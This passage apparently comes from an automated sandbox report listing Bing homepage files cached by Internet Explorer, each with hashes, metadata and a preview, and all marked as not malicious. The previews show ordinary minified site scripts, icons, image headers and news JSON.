Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1516
Entropy (8bit):	5.30762660027466
Encrypted:	false
SSDEEP:	24:+FE64YTsQF61KWllWeM2lSoiLKiUfpIYdk+fzvOMuHMH34tDO8XgGQE3BUf4JPwk:+FdF6UYXEBi9kIHIB1UY
MD5:	EF3DA257078C6DD8C4825032B4375869
SHA1:	35FE0961C2CAF7666A38F2D1DE2B4B5EC75310A1
SHA-256:	D94AC1E4ADA7A269E194A8F8F275C18A5331FE39C2857DCED3830872FFAE7B15
SHA-512:	DBA7D04CDF199E68F04C2FECFDADE32C2E9EC20B4596097285188D96C0E87F40E3875F65F6B1FF5B567DCB7A27C3E9E8288A97EC881E00608E8C6798B24EF3AF
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/P3LN8DHh0udC9Pbh8UHnw5FJ8R8.gz.js
Preview:	var Identity=Identity\|\|{},ham_id_js_downloaded=!1;(function(n,t,i,r,u,f,e){e.wlProfile=function(){var r=sj_cook.get,u="WLS",t=r(u,"N"),i=r(u,"C");return i&&e.wlImgSm&&e.wlImgLg?{displayName:t?t.replace(/\+/g," "):"",name:n(t.replace(/\+/g," ")),img:e.wlImgSm.replace(/\{0\}/g,f(i)),imgL:e.wlImgLg.replace(/\{0\}/g,f(i)),idp:"WL"}:null};e.headerLoginMode=0;e.popupAuthenticate=function(n,i,r){var o,u,h,c,v=sb_gt(),l=Math.floor(v/1e3).toString(),s="ct",a=new RegExp("([?&])"+s+"=.*?(&\|$)","i");return n.toString()==="WindowsLiveId"&&(o=e.popupLoginUrls,u=o[n],u=u.match(a)?u.replace(a,"$1"+s+"="+l+"$2"):u+"?"+s+"="+l,e.popupLoginUrls.WindowsLiveId=u),(o=e.popupLoginUrls)&&(u=o[n]+(i?"&perms="+f(i):"")+(r?"&src="+f(r):""))&&(h=e.pop(u))&&(c=setInterval(function(){h.closed&&(t.fire("id:popup:close"),clearInterval(c))},100))};e.pop=function(n){return r.open(n,"idl","location=no,menubar=no,resizable=no,scrollbars=yes,status=no,titlebar=no,toolbar=no,width=1000,height=620")};var o=u("id_h"),s=u("id

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\PA3TC2iNXZkiG2C3IJp5VAvC_yY.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	930
Entropy (8bit):	5.191402456846154
Encrypted:	false
SSDEEP:	24:GFUFqJYYmaLOTCE20aOtZP9F3a6MakIq+lvyUJ9sq5aOB:BWOWEZP9U6MHEvyUJ9s6
MD5:	73BFB9BB67A7271E257A4547007469A5
SHA1:	28F7B820679A99318E0DC596A54480D6AD5C3661
SHA-256:	A22BB5BD48C4C578C6BC4FDC4B8FF18F9162848F14E05AE283EC848B08EC8C15
SHA-512:	432142851A492C7635B764AC5293B6EFC943624FBD2FEA5D0F2D8900208B5F6233F5563B7CC08F314E29889B2628F298355484700816A3679F6A3315E63581F0
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/PA3TC2iNXZkiG2C3IJp5VAvC_yY.gz.js
Preview:	var ShareDialog;(function(n){function i(){t("bootstrap",arguments)}function r(){t("show",arguments)}function u(){t("showError",arguments)}function t(n,t){for(var r=["shdlgapi",n],i=0;i<t.length;i++)r.push(t[i]);sj_evt.fire.apply(null,r)}n.bootstrap=i;n.show=r;n.showError=u})(ShareDialog\|\|(ShareDialog={})),function(n){function i(){t==0&&u()}function r(){sj_evt.unbind("shdlgapi",i)}function u(){t=1;var n=ShareDialogConfig.shareDialogUrl+"&IG="+_G.IG;n=e(n,["uncrunched","testhooks"]);sj_ajax(n,{callback:function(n,i){n?(t=2,i.appendTo(_d.body),r(),f()):t=3},timeout:0})}function f(){var n="rms";_w[n]&_w[n].start()}function e(n,t){var i,r,u;for(r in t)u=new RegExp("[?&]"+t[r]+"=[^?&#]*","i"),(i=location.href.match(u))&&i[0]&&(n+="&"+i[0].substring(1));return n}function o(){n.inited=0}function s(){n.inited\|\|(n.inited=1,sj_evt.bind("shdlgapi",i,!0),sj_evt.bind("ajax.unload",o,!1))}var t=0;s()}(ShareDialog\|\|(ShareDialog={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\Passport[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	329
Entropy (8bit):	5.086971439676268
Encrypted:	false
SSDEEP:	6:qzxUe3X965+zAqEFtTNfYEAn4TXQ3SOFCL0H4WZhCroOI:kxFkXq6tTRYEVTAx4IHH7CroOI
MD5:	7B7D5DA1B057EB0D5A58C2585E80BACA
SHA1:	29714CD8C570E321C1C1C991E77ACE3945312AC6
SHA-256:	023CD9B7315636BE1BE24DC78144554B0E76777BD476ED581378172DE9B12A05
SHA-512:	1A4E36E3124968166579C04D05A1325242E1DFE20DF4C804081487A019B88395A679A439525488F78B73334C5B0BD38D61E24F8E23F2F8274C6BAC323291CEE8
Malicious:	false
IE Cache URL:	https://www.bing.com/secure/Passport.aspx?popup=1&ssl=1
Preview:	<html><head><title>Bing</title></head><body>Loading...<script type="application/x-javascript">//<![CDATA[.var _w = window; var o = _w.opener; var mainWindow; (mainWindow = o) \|\| (mainWindow = _w.parent); if (mainWindow) {mainWindow.sj_evt && mainWindow.sj_evt.fire("wl:cancel"); };if (o) _w.close();;.// </script></body></html>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\Ue4YP_2B[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	gzip compressed data, max speed, from TOPS/20
Category:	dropped
Size (bytes):	373
Entropy (8bit):	7.426422982462042
Encrypted:	false
SSDEEP:	6:Xtb9leJTLhH+rvS0pPveSTCIMmYIfOhtT1oZ4pglBZtnHL7KsbRKHYKvQTF5nQCU:XtHIZH+u0FWSTCPmYAqiH/KmRpKerQCU
MD5:	BBAEC9C609B9250AA09919999916EFE6
SHA1:	3B4C916D3529E480344FE4F77AD840FC7F8DB510
SHA-256:	6CE7ED64ECF776EAB3736456CDFE7F28F96584DD0CEFAA35B1D31CE3BF921629
SHA-512:	5EF35F950667BC03BA08DD9D246E83B63A194BBFD7A3C5203F775855EF656A5B28E39D7C42C39368780148846DFA119A61C40AB4D547D907B6B3BFCA1D792E89
Malicious:	false
Preview:	..........T..R.0.@.......\|6...:.Z.EA...NJ..h.ICk}zG]..:.s-..sF....Y...N..lX..a.3R.u.....?..e...W,.\q.?.[..m..*.;)n-......SO.?:v&1......S.....s...P....\.9.Z,.f.t...dj..gu...v>..A....1-...0Z...\oVm..H......hU....j..9.\!............y..l85.\|od.I..9.....LQ>.w....}..(.......>=...v`\S..O.l_.l....C.-........{..y$._..)...}........~.\^\|.........R.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\XvRHqJwJt19aXQca73hQTfvNMxk[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	545
Entropy (8bit):	5.028824557535963
Encrypted:	false
SSDEEP:	12:t4102hriVtBr4pFm9z0kjhlHJW1QOYIX+Xw5RxnnS8K0ML2wtp:t41jiVt5wIz0kjhlHJW1QNCRxS8KLL2a
MD5:	58725E06FABDC207D4350D6F3C5B33D0
SHA1:	5EF447A89C09B75F5A5D071AEF78504DFBCD3319
SHA-256:	EDD5715C42AD596AFE1CF07A400D4F33A2F5388C18ADFDD169A7E9467BC9E9DB
SHA-512:	69F8A2161EDE8AA0BE70ECF641D1C05D7E9B5E6952DD41255E02B7AE9FAFDC94A9547DDDB46A2FF9A56C852239558E3C6634D93A1D6D7669C719956C8D2F5DD6
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/XvRHqJwJt19aXQca73hQTfvNMxk.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" enable-background="new 0 0 20 20">.. <circle fill="#00809D" cx="10" cy="10" r="3"/>.. <circle fill="#00809D" cx="5.5" cy="5.5" r="1.25"/>.. <path stroke="#00809D" stroke-width="2" stroke-linecap="round" stroke-miterlimit="10" d="M1 7.25v-2.5c0-2.071 1.679-3.75 3.75-3.75h2.5M7.25 19h-2.5c-2.071 0-3.75-1.679-3.75-3.75v-2.5M19 12.75v2.5c0 2.071-1.679 3.75-3.75 3.75h-2.5M12.75 1h2.5c2.071 0 3.75 1.679 3.75 3.75v2.5" fill="none"/>.. <path fill="none" d="M0 0h20v20h-20z"/>..</svg>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\a282eRIAnHsW_URoyogdzsukm_o.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	423
Entropy (8bit):	5.117319003552808
Encrypted:	false
SSDEEP:	12:2gSYjthM4GF4aaXtdhI9DfaUZnsMQYAQI:2gSW/bS9/ZnsMAj
MD5:	3A5049DB26AF9CE03DB6A53D3541082D
SHA1:	934DAEA4EDDE2568CA02AB89AF23FDCFEB57339A
SHA-256:	AF8C36DEFED55D79106513865F69933E546E1E4C361E41C29F65905DED009047
SHA-512:	5E21B6E184CBB0013DCCE174345DAC14BB64D391CCA3B253F73C7373253FDCA5E0BB297A0BD2FAD237E4F796895807660369680621C49C8F99DF428ED3218C9E
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/a282eRIAnHsW_URoyogdzsukm_o.gz.js
Preview:	(function(n){function i(){var e,o,u,s,f,r;if(document.querySelector&&document.querySelectorAll){e=[];o=n.rules;for(u in o)for(s=o[u],u+=!s[2]?"":" >*",f=document.querySelectorAll(u),r=0;r<f.length;r++){var i=f[r],h=0,c=0,l=i.offsetWidth,a=i.offsetHeight;do h+=i.offsetLeft,c+=i.offsetTop;while(i=i.offsetParent);e.push({_e:f[r],x:h,y:c,w:l,h:a})}n.enqueue(t,e)}}var t="L";n.wireup(t,{load:null,compute:i,unload:null})})(BM)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\fdVZU4ttbw8NDRm6H3I5BW3_vCo[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	671
Entropy (8bit):	5.014579690661168
Encrypted:	false
SSDEEP:	12:tbH4/KYf3UnlcWYl7qy/gk63xsV8tGXcqecDDWUV8jEPsycd23Wt+MKsAnueOc+d:t74LfEnTYpq+gTxs6GUUQEPssmYsAnuH
MD5:	D9ED1A42342F37695571419070F8E818
SHA1:	7DD559538B6D6F0F0D0D19BA1F7239056DFFBC2A
SHA-256:	0C1E2169110DD2B16F43A9BC2621B78CC55423D769B0716EDAA24F95E8C2E9FE
SHA-512:	67F0BC641D78D5C12671FDD418D541F70517C3CA72C7B4682E7CAC80ABE6730A60D7C3C9778095AAB02C1BA43C8DD4038F48A1A17DA6A5E6C5189B30CA19A115
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/fdVZU4ttbw8NDRm6H3I5BW3_vCo.svg
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... viewBox="0 0 16 16" enable-background="new 0 0 16 16" xml:space="preserve">..<path fill="#919191" d="M15.707,0.293c-0.391-0.391-1.024-0.391-1.415,0L7.994,6.591L1.696,0.293C1.298-0.091,0.665-0.08,0.281,0.318...c-0.375,0.388-0.375,1.003,0,1.391l6.298,6.298l-6.298,6.298c-0.384,0.398-0.373,1.031,0.025,1.415c0.388,0.375,1.003,0.375,1.391,0...l6.298-6.298l6.298,6.298c0.398,0.384,1.031,0.373,1.415-0.025c0.375-0.388,0.375-1.003,0-1.39L9.409,8.006l6.298-6.298...C16.098,1.317,16.098,0.684,15.707,0.293z"/>..<path fill="none" d="M0,0h16v16H0V0z"/>..</svg>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\hqx6FcD0hjfzrON5oLgx2RMMD1s.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	443
Entropy (8bit):	4.86644754379557
Encrypted:	false
SSDEEP:	12:kdXCJAUQECJA5MeMJA561cnGfbs4Hbrk86fYXChdJAjU:8CJWECJKMeMJK61cuo47rk8WYMdJyU
MD5:	56583BD882D9571EC02FBDF69D854205
SHA1:	8DFF13B78F4CBCC482DC5C7FC1495390200C0B94
SHA-256:	DF0089A92B304A88F35AA0117CF8647695659AAF68B38B1B7A72A7C53465E9C7
SHA-512:	418B3003B568F2FDB862035EE624CE93087861AEBB6680CDC0E0F1212297B64D30596EEF931B8C6E818292C4AB14C8C17FF0BAF9E58ED93392AD7A80621EBBE4
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/hqx6FcD0hjfzrON5oLgx2RMMD1s.gz.js
Preview:	var OutlinePolyfil=function(){function n(){var n=this;this.attachHandlers=function(){n.attachHandlersForOutline()};this.attachHandlersForOutline=function(){addEventListener("keydown",n.onTabKey);addEventListener("mousedown",n.onMouseDown)};this.onTabKey=function(n){n.keyCode==9&&document.body.classList.add("tabbing")};this.onMouseDown=function(){document.body.classList.remove("tabbing")};this.attachHandlers()}return n}();new OutlinePolyfil

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\kBH4DSEA84cgV7IKw7_Bwvm2NpI[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	[TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:58:04], progressive, precision 8, 160x160, frames 3
Category:	downloaded
Size (bytes):	11847
Entropy (8bit):	7.82741108986083
Encrypted:	false
SSDEEP:	192:dhK4s5Is9xn1pwLz+SHW36K+Oas6GKNQsjM+N7WzAVrzj+cq615Te+Se:d4ZOOloH/HW3Rp5Ka2tWzAVrzjv55ia
MD5:	5CCC9B225B51915169D6F4C27FA26C9A
SHA1:	9011F80D2100F3872057B20AC3BFC1C2F9B63692
SHA-256:	10D8D2141A01589A82B139B01A75B74D9DFAB16D273C9B2EC7F5087D3EF16B3B
SHA-512:	E2AEB96F6FEC6710AAFF6E52CC24E773CD194F9DEE1BC01FEED88A8EC48033DD9BD8AD0A18C14502DCB6A6ECF05418F18D125E00C4E0E06533495A00F3AF411F
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/kBH4DSEA84cgV7IKw7_Bwvm2NpI.jpg
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f...z...H.......H.......GIMP 2.10.8.2019:07:31 17:58:04...................................................................................................................JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...LT...{..3....P.1F)....1N....b.S.F(....;.b...\S.F(.....Q..n(.?.b...1O...cqF)....R.1@....b....R.\P.1K.v(. ..\S

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\lK_FmcR4naKX9hpIwfe9ify1hf4.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	49696
Entropy (8bit):	5.616251749262072
Encrypted:	false
SSDEEP:	768:kP5wtNTkCMrK9rQSR4lQlzN6SuDHTzXd2kfrGwIee9:ppkCMu1Rv0SuDHT4kfr5IR9
MD5:	DCC31AB3EF173D31686F46F398F952E9
SHA1:	14E10A76227175A839DEA8FE493A8AC287016014
SHA-256:	CB7EB9302E6B64C71401F89ADD673A90131277FE61AE7FF1E27A4F018DD030D9
SHA-512:	4BFB54F70E3AE1E692511916F851228596D54155AF3E78B9E5D808F7895AB1416B550BC76EAD93642457234F4EEB2FC47716F10CF57B5F2513779F2C30CEB037
Malicious:	false
Preview:	var __assign=this&&this.__assign\|\|function(){return __assign=Object.assign\|\|function(n){for(var t,r,i=1,u=arguments.length;i<u;i++){t=arguments[i];for(r in t)Object.prototype.hasOwnProperty.call(t,r)&&(n[r]=t[r])}return n},__assign.apply(this,arguments)},__rest=this&&this.__rest\|\|function(n,t){var u={},r;for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&t.indexOf(i)<0&&(u[i]=n[i]);if(n!=null&&typeof Object.getOwnPropertySymbols=="function")for(r=0,i=Object.getOwnPropertySymbols(n);r<i.length;r++)t.indexOf(i[r])<0&&Object.prototype.propertyIsEnumerable.call(n,i[r])&&(u[i[r]]=n[i[r]]);return u},__spreadArrays=this&&this.__spreadArrays\|\|function(){for(var i=0,n=0,r=arguments.length;n<r;n++)i+=arguments[n].length;for(var u=Array(i),f=0,n=0;n<r;n++)for(var e=arguments[n],t=0,o=e.length;t<o;t++,f++)u[f]=e[t];return u},__awaiter=this&&this.__awaiter\|\|function(n,t,i,r){function u(n){return n instanceof i?n:new i(function(t){t(n)})}return new(i\|\|(i=Promise))(function(i,f){function o(n){

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\model[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	16168
Entropy (8bit):	5.527579595880806
Encrypted:	false
SSDEEP:	384:HUQyIePm3yt9YYQ5bV5u5hOuKsVMhu3kx0m4iDewY/rfrEraIO1uYPW:0yZ3yjYY85uTOuKsV2u3kx0m4iDewY/i
MD5:	B12C190DFA30C8EF3CACFB2304F8A6BB
SHA1:	4485BA9BCEC741F844120DA43AD4C67EED5EFF0F
SHA-256:	E18575EBB4698CD7418A52E923B8815AA1B288FB160F12A9B8DFE69C816FCA67
SHA-512:	0BE8328FD43826911A8BDD74E85C052F47EA08AF97F36C5C8296648B037C60CFEDA186F81A08C1620728FD50F5D3F36C634CCD2D943C41BEE3DDF3F69515B738
Malicious:	false
IE Cache URL:	https://www.bing.com/hp/api/model?form=REDIRERR
Preview:	{"ClientSettings":{"Pn":{"Cn":1,"St":0,"Qs":0,"Prod":"P"},"Sc":{"Cn":1,"St":0,"Qs":0,"Prod":"H"},"Qz":{"Cn":1,"St":0,"Qs":0,"Prod":"T"},"Ap":true,"Mute":true,"Lad":"2021-04-06T00:00:00Z","Iotd":0,"Dft":null,"Mvs":0,"Flt":0,"Imp":2},"MediaContents":[{"ImageContent":{"Description":"The first modern Olympic Games were held 125 years ago in Athens in 1896 . 1,500 years after they were banned by the Roman Emperor. The 1896 Games were held in the Panathenaic Stadium, in the shadow of the Acropolis of Athens, shown here. They included athletes from 14 countries, with the largest delegations from Greece, Germany, France and Great Britain. The 43 events included a marathon, tennis, cycling, fencing, shooting, Greco-Roman wrestling and swimming. And while some things haven't changed over the years, some were different back then. Swimmers were taken out to sea by boat for the longer races and had to swim back to shore. Winners were given a silver medal (copper for second place), as well as an o

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\msnpopularnow[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	10423
Entropy (8bit):	5.524868443864616
Encrypted:	false
SSDEEP:	192:uIrvLoZvJZvtcwyltHEZdrXgsqBtCQv6SHGjHHAHaBaZvkr1qPUaDQAbSE5A3GMQ:uOUzaDePrwsUBS/k6Ba52qPJQZEKbNSZ
MD5:	54CD333FA1228D57F2DAEB0617134235
SHA1:	CBA447E953F17FB044B4455A0E36916F1E264E4E
SHA-256:	C0EAE134519D55C8FC8C1E86772F43569FB54FFA44DF785E387F3CC48D106DCD
SHA-512:	4A997C3509A3C5795F39526435886C3F37DB5BE8F11589324075BA689E0770B84F1071288E4EE6AA33E85CFEAF1FA3914E42C4CEE45F740CA1F25AE3AFE7ABD3
Malicious:	false
IE Cache URL:	https://www.bing.com/hp/api/v1/msnpopularnow?&format=json&ecount=20&efirst=0&&form=REDIRERR
Preview:	{"title":"","data":[{"typeName":"Msn","items":[{"url":"https://www.msn.com/de-ch/finanzen/top-stories/staatliche-regulierung-allianz-gegen-big-tech-druck-auf-facebook-und-google-w.chst/ar-BB1fkLCT?ocid=BingHPC","imageUrl":"/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fkGpp.img&ehk=EoXsvHvTz25OeDlk8%2f1AsQ0JRbPiNyy0iD13c2N9OGI%3d&w=150&h=150&c=8&rs=2&pid=WP0","shortTitle":"Handelsblatt","longTitle":"Staatliche Regulierung: Allianz gegen Big Tech: Druck auf Facebo.","accessibilityTitle":"","subtext":"","isRecommendedNews":false},{"url":"https://www.msn.com/de-ch/news/other/polizei-sucht-mit-superpuma-nach-vermissten-minderj.hrigen-person/ar-BB1flh1z?ocid=BingHPC","imageUrl":"/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1flksC.img&ehk=H0FCoWHkkRHx9dwEmzqiKOqgx9bfKAuVCxCQfuDoLvw%3d&w=150&h=150&c=8&rs=2&pid=WP0","shortTitle":"20 Minuten","longTitle":"Polizei sucht mit Superpuma nach vermissten minderj.hrigen Pe.","acc

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\n8-O_KIRNSMPFWQWrGjn0BRH6SM.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1567
Entropy (8bit):	5.248121948925214
Encrypted:	false
SSDEEP:	48:KyskFELvJnSYVtXpQyL93NzpGaQJWA6vrIhf7:KybivJnSE5aU93HGaQJWAiIh
MD5:	F9D8B007B765D2D1D4A09779E792FE62
SHA1:	C2CBDA98252249E9E1114D1D48679B493CBFA52D
SHA-256:	9400DF53D61861DF8BCD0F53134DF500D58C02B61E65691F39F82659E780F403
SHA-512:	07032D7D9A55D3EA91F0C34C9CD504700095ED8A47E27269D2DDF5360E4CAC9D0FAD1E6BBFC40B79A3BF89AA00C39683388F690BB5196B40E5D662627A2C495A
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/n8-O_KIRNSMPFWQWrGjn0BRH6SM.gz.js
Preview:	var wln=wln\|\|"",Identity;(function(n){function i(n){n.style.display="none";n.setAttribute("aria-hidden","true")}function r(n){n.style.display="inline-block";n.setAttribute("aria-hidden","false")}var u,t;n&&n.sglid&&sj_be&&sj_cook&&sj_evt&&_d&&typeof _d.querySelectorAll!="undefined"&&(u=function(n){var i=n.getAttribute("data-a"),t=n.getAttribute("data-p");i==="false"&&t!=null&&sj_be(n,"click",function(){sj_cook.set("SRCHUSR","POEX",t,!0,"/")})},sj_evt.bind("identityHeaderShown",function(){var n=!1;sj_be(_ge("id_l"),"click",function(){var i,t;if(!n){for(i=_d.querySelectorAll(".b_imi"),t=0;t<i.length;t++)u(i[t]);n=!0}})},!0));sj_evt&&n&&(t=function(t){var h;if(t==null\|\|t.idp!=="orgid"\|\|(h=n.wlProfile(),h==null\|\|h.name==null\|\|t.name!=null)){var e=_ge("id_n"),u=_ge("id_p"),o=_ge("id_s"),s=_ge("id_a"),f=t?t.displayName:wln,c=t?t.img:null,l=t?t.idp:null,a=t?t.cid:null;e&&s&&(a\|\|f)?(u&&c&&(u.title=f,u.src=c,r(u)),f.length>10&&(f=f.substring(0,10).replace(/\s+$/,"")+"."),e.textContent=f,e.inn

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\n_C4vBfAV3O9RfkGjfduaZoxjAs[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	[TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:40:12], progressive, precision 8, 160x160, frames 3
Category:	downloaded
Size (bytes):	17171
Entropy (8bit):	7.923606790170532
Encrypted:	false
SSDEEP:	384:oYOT4bsa8uRaCLYIrdjf7xR346jojxR0WKHfoe:oYOT4Ya8uRnxT/346AhKHfoe
MD5:	D7AE018EA70FA15F5E5389E4F96AD768
SHA1:	9FF0B8BC17C05773BD45F9068DF76E699A318C0B
SHA-256:	A4F4A44961E03A073E3F351F296EC19C50005AA96360A9E5CEE50E0587738FBB
SHA-512:	FD5B341BECCBBE7C16065217BBCAF6DF2C44629DE778E1263FE6A071565718C920335DBA220FDDF8EB18ECBBF2BEBC698B03BCF555949CB3DD66575249471406
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/n_C4vBfAV3O9RfkGjfduaZoxjAs.jpg
Preview:	......JFIF.....H.H....(.Exif..II...............J...........R...(...........1.......Z...2.......f...z...H.......H.......GIMP 2.10.8.2019:08:01 11:40:12................................................................................................(..................JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...3J8...D....m8P...\.L..c..%.4.R...@.iqJ.4.CCJ.o.....-.!...1.Q.LB...S.U~...iXw.1J(..b.o.b.zSsHb.@..(... .H:...M.O4.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\ozS3T0fsBUPZy4zlY0UX_e0TUwY.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	226
Entropy (8bit):	4.923112772413901
Encrypted:	false
SSDEEP:	6:2LGfGIEW65JcYCgfkF2/WHRMB58IIR/QxbM76Bhl:2RWIyYCwk4/EMB5ZccbM+B/
MD5:	A5363C37B617D36DFD6D25BFB89CA56B
SHA1:	31682AFCE628850B8CB31FAA8E9C4C5EC9EBB957
SHA-256:	8B4D85985E62C264C03C88B31E68DBABDCC9BD42F40032A43800902261FF373F
SHA-512:	E70F996B09E9FA94BA32F83B7AA348DC3A912146F21F9F7A7B5DEEA0F68CF81723AB4FEDF1BA12B46AA4591758339F752A4EBA11539BEB16E0E34AD7EC946763
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/ozS3T0fsBUPZy4zlY0UX_e0TUwY.gz.js
Preview:	(function(n,t,i){if(t){var r=!1,f=function(){r\|\|(r=!0,typeof wlc!="undefined"&&wlc(sj_evt,sj_cook.set,wlc_t))},u=function(){setTimeout(f,t)};n.bind("onP1",function(){i?n.bind("aad:signedout",u):u()},1)}})(sj_evt,wlc_d,wlc_wfa)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\sbi[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	46137
Entropy (8bit):	5.492718429280291
Encrypted:	false
SSDEEP:	768:WkuL2ym/YIZE2u1U5l7Ez+YIdQFSO4FWCPPZPzATfZjFwummSczZxG3IuO7JUDWB:plB1FWCpPwkNijuSjyir
MD5:	8147A3C6CCDAD2147CA32BA6DB54E40A
SHA1:	3257CCC8CED1107ACBE3697B61F1C5ED3A86A4E6
SHA-256:	E783F26B771F68588FF468DE04C50E6A3E7BC4A11FEBDB52A17511E9DFE91297
SHA-512:	005695CB7F9FBB397109F11FDD375F23D5C678C7F26036E3937C916F75C96857F6A7C1B10D5820588461479A14B69026A3277389E5C02D09359D5A2BD9CF3C67
Malicious:	false
IE Cache URL:	https://www.bing.com/images/sbi?mmasync=1&ptn=Homepage&IID=SBI&IG=E7B3AF7955464F659FE96ADB4631F87B&form=REDIRERR
Preview:	<style type="text/css">#sbiarea,#sbicom{display:none}.hassbi #sbiarea{display:inline-block}#sbiarea{margin:0 0 0 18px}.sbox #sb_form #sbiarea{margin:0}#sb_sbi{display:inline-block;cursor:pointer}img#sbi_b{vertical-align:-2px;height:20px;width:20px}#detailPage #detailheader img#sbi_b,.blue2#miniheader img#sbi_b,.sbox img#sbi_b{vertical-align:-3px}.blue2#miniheader img#sbi_b{vertical-align:-1px}#sbi_b.grayscaled{filter:grayscale(1) brightness(1.4);-webkit-filter:grayscale(1) brightness(1.4)}#sbi_b.grayscaled:hover{filter:grayscale(1) brightness(1);-webkit-filter:grayscale(1) brightness(1)}#sb_sbip[shdlg] #sbi_b{filter:grayscale(0);-webkit-filter:grayscale(0)}#sb_sbip .rms_iac{display:inline-block}#sb_sbip:not(.disableTooltip):hover::before,#sb_sbip.shtip:not(.disableTooltip)::before,#sb_sbip[vptest]::before{bottom:-27px;left:10px;z-index:6}#sb_sbip:not(.disableTooltip):hover::after,#sb_sbip.shtip:not(.disableTooltip)::after,#sb_sbip[vptest]::after{top:40px;left:10px;z-index:4}#hp_contain

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\th[1].jpg Download File
